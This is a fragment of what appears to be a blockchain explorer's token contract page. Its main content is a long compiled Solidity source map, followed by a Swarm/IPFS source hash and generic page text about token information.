0;2998:1;2991:31;3041:4;3038:1;3031:15;3065:4;3062:1;3055:15;3081:422;3170:1;3213:5;3170:1;3227:270;3248:7;3238:8;3235:21;3227:270;;;3307:4;3303:1;3299:6;3295:17;3289:4;3286:27;3283:53;;;3316:18;;:::i;:::-;3366:7;3356:8;3352:22;3349:55;;;3386:16;;;;3349:55;3465:22;;;;3425:15;;;;3227:270;;;3231:3;3081:422;;;;;:::o;3508:806::-;3557:5;3587:8;3577:80;;-1:-1:-1;3628:1:1;3642:5;;3577:80;3676:4;3666:76;;-1:-1:-1;3713:1:1;3727:5;;3666:76;3758:4;3776:1;3771:59;;;;3844:1;3839:130;;;;3751:218;;3771:59;3801:1;3792:10;;3815:5;;;3839:130;3876:3;3866:8;3863:17;3860:43;;;3883:18;;:::i;:::-;-1:-1:-1;;3939:1:1;3925:16;;3954:5;;3751:218;;4053:2;4043:8;4040:16;4034:3;4028:4;4025:13;4021:36;4015:2;4005:8;4002:16;3997:2;3991:4;3988:12;3984:35;3981:77;3978:159;;;-1:-1:-1;4090:19:1;;;4122:5;;3978:159;4169:34;4194:8;4188:4;4169:34;:::i;:::-;4239:6;4235:1;4231:6;4227:19;4218:7;4215:32;4212:58;;;4250:18;;:::i;:::-;4288:20;;3508:806;-1:-1:-1;;;3508:806:1:o;4319:140::-;4377:5;4406:47;4447:4;4437:8;4433:19;4427:4;4406:47;:::i;4464:168::-;4504:7;4570:1;4566;4562:6;4558:14;4555:1;4552:21;4547:1;4540:9;4533:17;4529:45;4526:71;;;4577:18;;:::i;:::-;-1:-1:-1;4617:9:1;;4464:168::o;4637:356::-;4839:2;4821:21;;;4858:18;;;4851:30;4917:34;4912:2;4897:18;;4890:62;4984:2;4969:18;;4637:356::o;5962:306::-;6050:6;6058;6066;6119:2;6107:9;6098:7;6094:23;6090:32;6087:52;;;6135:1;6132;6125:12;6087:52;6164:9;6158:16;6148:26;;6214:2;6203:9;6199:18;6193:25;6183:35;;6258:2;6247:9;6243:18;6237:25;6227:35;;5962:306;;;;;:::o;6552:277::-;6619:6;6672:2;6660:9;6651:7;6647:23;6643:32;6640:52;;;6688:1;6685;6678:12;6640:52;6720:9;6714:16;6773:5;6766:13;6759:21;6752:5;6749:32;6739:60;;6795:1;6792;6785:12;6834:251;6904:6;6957:2;6945:9;6936:7;6932:23;6928:32;6925:52;;;6973:1;6970;6963:12;6925:52;7005:9;6999:16;7024:31;7049:5;7024:31;:::i;7399:217::-;7439:1;7465;7455:132;;7509:10;7504:3;7500:20;7497:1;7490:31;7544:4;7541:1;7534:15;7572:4;7569:1;7562:15;7455:132;-1:-1:-1;7601:9:1;;7399:217::o;10887:128::-;10927:3;10958:1;10954:6;10951:1;10948:13;10945:39;;;10964:18;;:::i;:::-;-1:-1:-1;11000:9:1;;10887:128::o;11375:135::-;11414:3;11435:17;;;11432:43;;11455:18;;:::i;:::-;-1:-1:-1;11502:1:1;11491:13;;11375:135::o;11515:125::-;11555:4;11583:1;11580;11577:8;11574:34;;;11588:18;;:::i;:::-;-1:-1:-1;11625:9:1;;11515:125::o;11777:127::-;11838:10;11833:3;11829:20;11826:1;11819:31;11869:4;11866:1;11859:15;11893:4;11890:1;11883:15;11909:980;12171:4;12219:3;12208:9;12204:19;12250:6;12239:9;12232:25;12276:2;12314:6;12309:2;12298:9;12294:18;12287:34;12357:3;12352:2;12341:9;12337:18;12330:31;12381:6;12416;12410:13;12447:6;12439;12432:22;12485:3;12474:9;12470:19;12463:26;;12524:2;12516:6;12512:15;12498:29;;12545:1;12555:195;12569:6;12566:1;12563:13;12555:195;;;12634:13;;-1:-1:-1;;;;;12630:39:1;12618:52;;12725:15;;;;12690:12;;;;12666:1;12584:9;12555:195;;;-1:-1:-1;;;;;;;12806:32:1;;;;12801:2;12786:18;;12779:60;-1:-1:-1;;;12870:3:1;12855:19;12848:35;12767:3;11909:980;-1:-1:-1;;;11909:980:1:o
Swarm Source
ipfs://5f6fab0a83658ee5698b50be01dfc8998d03d4aa4fb9f64853a68346ee569696
Loading...
Loading
Loading...
Loading
[ Download: CSV Export ]
[ Download: CSV Export ]
A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.